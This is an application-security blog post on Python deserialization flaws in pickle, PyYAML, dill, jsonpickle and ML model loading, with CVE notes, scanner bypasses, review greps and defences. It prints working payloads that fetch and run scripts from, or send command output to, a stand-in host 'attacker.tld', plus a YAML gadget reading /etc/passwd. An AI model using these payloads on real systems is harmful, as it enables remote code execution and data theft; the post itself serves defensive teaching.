Deserialization in Modern Python: pickle, PyYAML, dill, and Why 2026 Is Still the Year of the Footgun
AppSec • Python internals • ML supply chain • April 2026
pythondeserializationpicklepyyamlml-securityrce
Every year someone at a conference stands up and announces that Python deserialization RCE is a solved problem. Every year I find it in production. 2026 is no different. The ML boom has made it worse, not better: every HuggingFace Hub download is a pickle file someone decided to trust.
This is a field guide to what still works, what the modern scanners miss, and where to actually look when you are hunting for deserialization bugs in a Python codebase.
The Fundamental Problem
Python's pickle module does not deserialize data. It deserializes a program. The pickle format is a small stack-based virtual machine with opcodes like GLOBAL (import a name), REDUCE (call it), and BUILD (hydrate state). The VM is Turing-complete. Any object can implement __reduce__ to return a callable plus arguments that the VM will execute on load. That is not a bug. It is the feature.
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ("curl attacker.tld/s.sh | sh",))
payload = pickle.dumps(Exploit())
# Anyone calling pickle.loads(payload) executes the command.
Every library in the pickle family inherits this behaviour. cPickle, _pickle, dill, jsonpickle, shelve, joblib — they all execute arbitrary code during load. dill is worse because it can serialize more object types, so a dill payload can reach execution paths pickle cannot. jsonpickle is the one that catches people: the transport is JSON, which looks safe, but it reconstructs arbitrary Python objects by class path.
Where It Still Shows Up in 2026
The naive pickle.loads(request.data) pattern is rare now. The bugs that are still live are structural:
- Session storage and cache. Django's
PickleSerializeris deprecated but people still enable it for "compatibility." Redis caches storing pickled objects across service boundaries. Memcache withcPickle. Every time the cache is trust-boundary-crossing, you have a bug. - Celery / RQ task queues. Celery's default serializer has been JSON since 4.0 but the
picklemode is still there and still in use. Any broker that multiple services with different trust levels write to is a path to RCE. - Inter-service RPC with
pickleover the wire. Internal tooling. "It's on the internal network." Right up until an SSRF in the front-end reaches it. - ML model loading. This is the big one. Every
torch.load(), everyjoblib.load(), everypickle.load()against a downloaded model is a code execution primitive for whoever controls the weights. CVE-2025-32444 in vLLM was a CVSS 10.0 from pickle deserialization over unsecured ZeroMQ sockets. The same class hit LightLLM and manga-image-translator in February 2026. - NumPy
.npywithallow_pickle=True. Still a default in old code. Still RCE. - PyYAML
yaml.load(). Without an explicit Loader it used to default to unsafe. Current PyYAML warns loudly but the old patterns are still in codebases older than that warning.
PyYAML: The Underestimated Sibling
PyYAML gets less attention because people remember to use safe_load. The problem is every time someone needs a custom constructor and reaches for yaml.load(data, Loader=yaml.Loader) or yaml.unsafe_load. YAML's Python tag syntax is a gift to attackers:
# All of the following execute on yaml.load() with an unsafe Loader.
!!python/object/apply:os.system ["id"]
!!python/object/apply:subprocess.check_output [["nc", "attacker.tld", "4242"]]
!!python/object/new:subprocess.Popen [["/bin/sh", "-c", "curl .../s.sh | sh"]]
# Error-based exfil when the response contains exceptions:
!!python/object/new:str
state: !!python/tuple
- 'print(open("/etc/passwd").read())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
CVE-2019-20477 demonstrated PyYAML ≤ 5.1.2 was exploitable even under yaml.load() without specifying a Loader. The fix was making the default Loader safe. Any codebase pinned below that version is still vulnerable by default.
The ML Supply Chain Angle
This is the part that should keep AppSec teams awake. The 2025 longitudinal study from Brown University found that roughly half of popular HuggingFace repositories still contain pickle models, including models from Meta, Google, Microsoft, NVIDIA, and Intel. A significant chunk have no safetensors alternative at all. Every one of those is a binary that executes arbitrary code on torch.load().
Scanners exist. picklescan, modelscan, fickling. They are not enough:
- Sonatype (2025): ZIP flag bit manipulation caused
picklescanto skip archive contents while PyTorch loaded them fine. Four CVEs landed againstpicklescan. - JFrog (2025): Subclass imports (use a subclass of a blacklisted module instead of the module itself) downgraded findings from "Dangerous" to "Suspicious."
- Academic research (mid-2025): 133 exploitable function gadgets identified across Python stdlib and common ML dependencies. The best-performing scanner still missed 89%. 22 distinct pickle-based model loading paths across five major ML frameworks, 19 of which existing scanners did not cover.
- PyTorch tar-based loading. Even after PyTorch removed its tar export, it still loads tar archives containing
storages,tensors, andpicklefiles. Craft those manually andtorch.load()runs the pickle without any of the newer safeguards.
The architectural problem is that the pickle VM is Turing-complete. Pattern-matching scanners are playing catch-up forever.
A Realistic Payload Walkthrough
Say you have found a Flask endpoint that unpickles a session cookie. Here is the minimal end-to-end:
import pickle, base64
class RCE:
def __reduce__(self):
# os.popen returns a file; .read() makes it blocking,
# which helps with output exfil via error channels.
import os
return (os.popen, ('curl -sX POST attacker.tld/x -d "$(id;hostname;uname -a)"',))
token = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode()
# Set cookie: session=<token>
# The app's pickle.loads() runs it.
Add the .read() call if the app expects a specific object type and you need to avoid a deserialization error that would short-circuit the response:
class RCEQuiet:
def __reduce__(self):
import subprocess
return (subprocess.check_output,
(['/bin/sh', '-c', 'curl attacker.tld/s.sh | sh'],))
For jsonpickle where you can only inject JSON, the py/object and py/reduce keys do the same work:
{
"py/object": "__main__.RCE",
"py/reduce": [
{"py/type": "os.system"},
{"py/tuple": ["id"]}
]
}
Finding the Bug in Code Review
Semgrep and CodeQL both ship rules for this class. The high-value greps to do by hand when you land in a Python codebase:
rg -n 'pickle\.loads?\(|cPickle\.loads?\(|_pickle\.loads?\('
rg -n 'dill\.loads?\(|jsonpickle\.decode\(|shelve\.open\('
rg -n 'yaml\.load\(|yaml\.unsafe_load\(|Loader=yaml\.Loader'
rg -n 'torch\.load\(' | rg -v 'weights_only=True'
rg -n 'joblib\.load\(|numpy\.load\(.*allow_pickle=True'
rg -n 'PickleSerializer' # Django sessions, old code
For each hit, trace the source of the argument backwards until you hit a trust boundary. Any HTTP input, any cache, any queue, any file under user control.
torch.load(path, weights_only=True) is the single most impactful change for ML codebases. It restricts the unpickler to a safe allow-list of tensor-related globals. It is not default across all PyTorch versions yet. Check every call site.The Only Real Defense
Stop using pickle for untrusted data. Full stop. The pickle documentation has said this since Python 2. No scanner, no wrapper, no "restricted unpickler" has held up against determined gadget-chain research. There is no safe subset of pickle that preserves its usefulness.
- Data interchange: JSON, MessagePack, Protocol Buffers, CBOR. Data only, no code.
- Config:
yaml.safe_load, always, no exceptions. - ML weights: safetensors. It is the format for a reason. If your model only ships in pickle, get it re-exported or run it in a jailed process.
- Sessions, cache, queues: HMAC-signed JSON. Rotate keys. Never pickle.
- If you must load ML pickles: a sandboxed subprocess with no network, no write access, dropped capabilities. Assume code execution and contain it. That is the threat model.
Closing
The pickle problem has been "known" since before I started writing this blog. It is still shipping in production. It is still in the default load path of half the ML libraries you import. The reason it is not fixed is because fixing it breaks the developer ergonomics that made pickle popular in the first place.
That is the honest summary. The language gave you a primitive that executes code on load, the ecosystem built on top of it, and "don't unpickle untrusted data" has been interpreted as "my data is trusted" by a generation of developers. Every pentest engagement that includes a Python backend should probe for this. Every ML pipeline review should assume model weights are attacker-controlled until proven otherwise.
elusive thoughts • securityhorror.blogspot.com